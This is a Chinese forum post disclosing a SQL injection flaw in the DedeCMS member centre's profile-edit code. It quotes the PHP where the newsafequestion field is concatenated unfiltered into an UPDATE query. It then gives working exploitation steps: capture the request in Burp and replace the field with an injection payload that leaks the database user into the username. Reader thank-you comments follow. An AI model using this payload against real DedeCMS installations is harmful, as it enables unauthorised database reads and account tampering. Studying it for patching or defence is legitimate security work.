Dedecms 会员中心注入漏洞2
本帖最后由 土豆 于 2014-2-27 19:46 编辑漏洞作者: Matt
在member/buy_action.php文件处,
require_once(dirname(__FILE__)."/config.php");
CheckRank(0,0);
$menutype = 'config';
if(!isset($dopost)) $dopost = '';
$pwd2=(empty($pwd2))? "" : $pwd2;
$row=$dsql->GetOne("SELECT* FROM `#@__member` WHERE mid='".$cfg_ml->M_ID."'");
$face = $row['face'];
if($dopost=='save')
{
$svali = GetCkVdValue();
if(strtolower($vdcode) != $svali || $svali=='')
{
ReSETVdValue();
ShowMsg('验证码错误!','-1');
exit();
}
if(!is_array($row) || $row['pwd'] != md5($oldpwd))
{
ShowMsg('你输入的旧密码错误或没填写,不允许修改资料!','-1');
exit();
}
if($userpwd != $userpwdok)
{
ShowMsg('你两次输入的新密码不一致!','-1');
exit();
}
if($userpwd=='')
{
$pwd = $row['pwd'];
}
else
{
$pwd = md5($userpwd);
$pwd2 = substr(md5($userpwd),5,20);
}
$addupquery = '';
#api{{
if(defined('UC_API') && @include_once DEDEROOT.'/uc_client/client.php')
{
$emailnew = $email != $row['email'] ? $email : '';
$ucresult = uc_user_edit($cfg_ml->M_LoginID, $oldpwd, $userpwd, $emailnew);
}
#/aip}}
//修改安全问题或Email
if($email != $row['email'] || ($newsafequestion != 0 && $newsafeanswer != ''))
{
if($row['safequestion']!=0 && ($row['safequestion'] != $safequestion || $row['safeanswer'] != $safeanswer))
{
ShowMsg('你的旧安全问题及答案不正确,不能修改Email或安全问题!','-1');
exit();
}
//修改Email
if($email != $row['email'])
{
if(!CheckEmail($email))
{
ShowMsg('Email格式不正确!','-1');
exit();
}
else
{
$addupquery .= ",email='$email'";
}
}
//修改安全问题
if($newsafequestion != 0 && $newsafeanswer != '')
{
if(strlen($newsafeanswer) > 30)
{
ShowMsg('你的新安全问题的答案太长了,请保持在30字节以内!','-1');
exit();
}
else
{
$addupquery .= ",safequestion='$newsafequestion',safeanswer='$newsafeanswer'";//这里的newsafequest没过滤 我们直接update注入
}
}
}
//修改uname
if($uname != $row['uname'])
{
$rs = CheckUserID($uname,'昵称或公司名称',FALSE);
if($rs!='ok')
{
ShowMsg($rs,'-1');
exit();
}
$addupquery .= ",uname='$uname'";
}
//性别
if( !in_array($sex, array('男','女','保密')) )
{
ShowMsg('请选择正常的性别!','-1');
exit();
}
$query1 = "UPDATE `#@__member` SET pwd='$pwd',sex='$sex'{$addupquery} where mid='".$cfg_ml->M_ID."' ";
echo $query1;
$dsql->ExecuteNoneQuery($query1);
漏洞证明:
利用方法 注册用户并且登陆
完了打开http://127.0.0.1/dede/member/edit_baseinfo.php
然后随便写一下
输入验证码 打开BURP 抓包
点击提交
然后再BURP里修改newsafequestion 的值改成1',email=@`'`,uname=(select user()),email='sss
然后提交 之后再打开http://127.0.0.1/dede/member/edit_baseinfo.php
就可以看到自己的、用户名变成了注入之后的结果了
dede的洞果断收藏 谢谢土豆牛分享!支持! 连载的节奏啊:loveliness:mark 多谢分享, 不错!谢谢分享! 记得乌云发了十几条 谢谢土豆牛分享!支持!
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